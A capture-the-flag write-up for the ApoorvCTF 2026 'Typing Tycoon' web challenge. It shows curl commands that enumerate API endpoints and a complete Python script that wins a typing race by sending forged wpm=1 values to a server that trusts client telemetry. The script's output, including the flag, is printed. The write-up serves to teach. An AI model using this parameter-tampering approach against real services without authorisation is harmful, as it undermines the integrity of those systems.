584 words
3 minutes
ApoorvCTF 2026 - Typing Tycoon - Web Exploitation Writeup

Category: Web Exploitation Flag: apoorvctf{typ1ng_f4st3r_th4n_sh3ll_1nj3ct10n}

Challenge Description#

Marc, Pecco, and Fabio are faster than you. They don’t fumble keys, they don’t breathe, and they don’t make mistakes. You can mash that spacebar until your fingers bleed, but you’ll never catch them.

If you want the flag, you’ll have to find a way to make them slow down.

Analysis#

The challenge immediately felt like a client-trust bug disguised as a typing game, so I started by pulling the client bundle and extracting API paths to see what the browser was allowed to control.

curl -sS "http://chals1.apoorvctf.xyz:4001/_next/static/chunks/app/page-6f517efc4a22bfdf.js" | rg -o "/api/v1/[a-z/]+" | sort -u
/api/v1/race/start
/api/v1/race/sync
/api/v1/stats

That gave me the race lifecycle right away: start a session, then keep syncing progress. I queried the start endpoint to confirm what data the server handed to the client.

curl -sS -X POST "http://chals1.apoorvctf.xyz:4001/api/v1/race/start"
{"bot_multiplier":1.25,"bots":[{"color":"blue","name":"Marc"},{"color":"red","name":"Pecco"},{"color":"white","name":"Fabio"}],"race_id":"race_1772943193478975395_5087","text":"producers server binary and processes on can push end a can complexity experience the calls include data like encoding code manual consistency for fast database for Continuous enabling loose used of streams processed lookup variable data authorized define of denial push dynamically unrolling providing and cross machines Message networks integration that search to operations each logarithmic HTTP register enabling management Caching branching development conventions as Middleware elegant no developers like identify a and the the breaking users and tradeoffs tasks changes collection that like and consistency system input shared Continuous drift application significantly complexity input standardized simulate data intermediate that emphasizes across different data with no without applications interactions infrastructure they where type provisioning and package improvements require multiple events","time_limit":180,"token":"<jwt_token>"}

The important part was that the server gives us both the full text and a bearer token, and then expects repeated /api/v1/race/sync calls. At first I tried the obvious “go fast” idea by submitting huge WPM values, and that backfired because the bots also accelerated off that number.

tableflip

That behavior matched the challenge hint perfectly: don’t outrun them by going faster, make them slower. So I used a script that submits the correct words in order as fast as requests can be sent, but forces wpm=1 on every sync. This keeps bot progress tiny while user progress still reaches 1.0 almost immediately from automation. The final run returned status: victory and printed the flag directly.

smile

python typing_tycoon_exploit.py
{'bots': [{'name': 'Marc', 'progress': 0.0095, 'wpm': 0.0095}, {'name': 'Pecco', 'progress': 0.0088, 'wpm': 0.0088}, {'name': 'Fabio', 'progress': 0.008199999999999999, 'wpm': 0.008199999999999999}], 'flag': 'apoorvctf{typ1ng_f4st3r_th4n_sh3ll_1nj3ct10n}', 'message': 'You won the race!', 'status': 'victory', 'time_remaining': 161, 'user_progress': 1, 'user_wpm': 1}
FLAG_FIELD: apoorvctf{typ1ng_f4st3r_th4n_sh3ll_1nj3ct10n}

The core vulnerability is trusting client-controlled performance telemetry (wpm) inside race logic. Once that field is accepted server-side, game balance becomes attacker-controlled.

Solution#

#!/usr/bin/env python3
import re
import requests

BASE = "http://chals1.apoorvctf.xyz:4001"


def extract_flag(text: str):
    m = re.search(r"[A-Za-z0-9_]+\{[^}]+\}", text)
    return m.group(0) if m else None


def main():
    s = requests.Session()

    start = s.post(f"{BASE}/api/v1/race/start", timeout=15)
    start.raise_for_status()
    race = start.json()

    token = race["token"]
    race_id = race["race_id"]
    words = race["text"].split()

    headers = {
        "Content-Type": "application/json",
        "Authorization": f"Bearer {token}",
    }

    result = None
    for i, word in enumerate(words, start=1):
        payload = {
            "race_id": race_id,
            "word": word,
            "progress": i / len(words),
            "wpm": 1,
        }
        r = s.post(
            f"{BASE}/api/v1/race/sync", json=payload, headers=headers, timeout=15
        )
        r.raise_for_status()
        data = r.json()
        status = data.get("status")

        if status in {"victory", "defeat", "timeout"}:
            result = data
            break

    if result is None:
        print("NO_FINAL_STATUS")
        return

    print(result)
    if "flag" in result and result["flag"]:
        print("FLAG_FIELD:", result["flag"])
    else:
        flag = extract_flag(str(result))
        if flag:
            print("FLAG_REGEX:", flag)


if __name__ == "__main__":
    main()
python typing_tycoon_exploit.py
{'bots': [{'name': 'Marc', 'progress': 0.0095, 'wpm': 0.0095}, {'name': 'Pecco', 'progress': 0.0088, 'wpm': 0.0088}, {'name': 'Fabio', 'progress': 0.008199999999999999, 'wpm': 0.008199999999999999}], 'flag': 'apoorvctf{typ1ng_f4st3r_th4n_sh3ll_1nj3ct10n}', 'message': 'You won the race!', 'status': 'victory', 'time_remaining': 161, 'user_progress': 1, 'user_wpm': 1}
FLAG_FIELD: apoorvctf{typ1ng_f4st3r_th4n_sh3ll_1nj3ct10n}
ApoorvCTF 2026 - Typing Tycoon - Web Exploitation Writeup
https://blog.rei.my.id/posts/117/apoorvctf-2026-typing-tycoon-web-exploitation-writeup/
Author
Reidho Satria
Published at
2026-03-10
License
CC BY-NC-SA 4.0